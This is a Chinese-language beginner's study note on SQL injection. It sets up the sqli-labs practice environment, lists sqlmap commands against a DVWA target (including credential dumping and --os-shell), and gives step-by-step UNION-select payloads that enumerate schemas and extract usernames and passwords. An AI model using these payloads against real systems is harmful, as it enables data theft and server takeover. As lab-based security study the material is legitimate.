小白入坑第三步-了解sql注入
任务来袭:
- 使用phpstudy、sqllibs搭建注入环境
- 学会sqlmap基本用法
- 熟练掌握联合查询的注入方法
学习笔记
使用phpstudy、sqllibs搭建注入环境
1、先准备相应的phpstudy、sqllibs
sqli-labs: https://github.com/audi-1/sqli-labs
phpstudy: https://jingyan.baidu.com/article/a3f121e4879a86fc9052bb05.html
2、将下载好的sqli-labs-master解压至phpstudy的网站根目录下
3、配置sqli-labs的数据库,phpstudy的数据库默认用户名跟密码都是root,更改sqli-labs-master\sql-connections文件夹中db-creds.inc文件中的用户名密码为root
4、在浏览器访问127.0.0.1/sqli-labs-master出现如下界面,点击Setup/reset Database for labs进行数据库的配置
5、回退之后,下拉可以看到有22个漏洞练习,就可以开始sql注入的**之路了
学会sqlmap基本用法
安装sqlmap
可以直接去git 上下载一个安装包 https://github.com/sqlmapproject/sqlmap
python C:\Users\1216\Desktop\ctf工具\sqlmap-master\sqlmap.py
sqlmap基本用法
- 注入点 http://1xx.xxx.xxx.xxxx/dvwa/vulnerabilities/sqli/index.php?id=1&Submit=Submit#
- 通过burp抓包 cookie:
security=low;PHPSESSID=dmvbd4ijv2cm949sgtd69mqpd3
经典六步法:
sqlmap.py -u “xxx” --cookie="yyy" //带上cookie对url进行注入探测
sqlmap.py -u “xxx” --cookie=“yyy” --current-db //对数据库名进行获取
sqlmap.py -u “xxx” --cookie=“yyy” -D a --tables //对数据库a的表名进行枚举
sqlmap.py -u “xxx” --cookie=“yyy” -D a -T users --columns //对a库里的名为users表的列名进行枚举
sqlmap.py -u “xxx” --cookie=“yyy” -D a -T users -C (first_)name,password --dump //探测user表name和password字段
sqlmap.py -u “xxx” --cookie=“yyy” --os-shell //获取shell,选择后台语言
sqlmap.py -u “xxx” --cookie=“yyy” --dbs //列出所有数据库
sqlmap.py -u “xxx” --cookie=“yyy” --users //显示当前登录的用户’root‘@‘localhost’
sqlmap.py -u “xxx” --cookie=“yyy” --purge-output //清除之前的缓存日志
sqlmap.py -u “xxx” --cookie=“yyy” --password //对跑出来的密码进行枚举
感谢三位大佬博客:
http://baijiahao.baidu.com/s?id=1586785344681018734&wfr=spider&for=pc
https://www.cnblogs.com/christychang/p/6047072.html
https://blog.****.net/u011377996/article/details/81368482
熟练掌握联合查询的注入方法
1、判断注入点:
and 1=1 //显示正常
and 1=2 //显示错误
表示有注入点(整形判断)
’ and 1=1 %23 //显示正常
’ and 1=2 %23 //显示错误
表示有注入点(字符注入)
2、判断查询列数
order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次 类推
例:order by 4%23 //显示错误,不是4
order by 3%23 //显示正常,是3
3、判断显示位
?id = -1 'union select 1,2,3%23
4、获取所有数据库名
?id = -1 ' union select 1,2(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA)%23
5、获取表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23
6、获取列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23
7、获取列中的信息
?id=-1' union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3%23 //用limit控制,一行行得到数据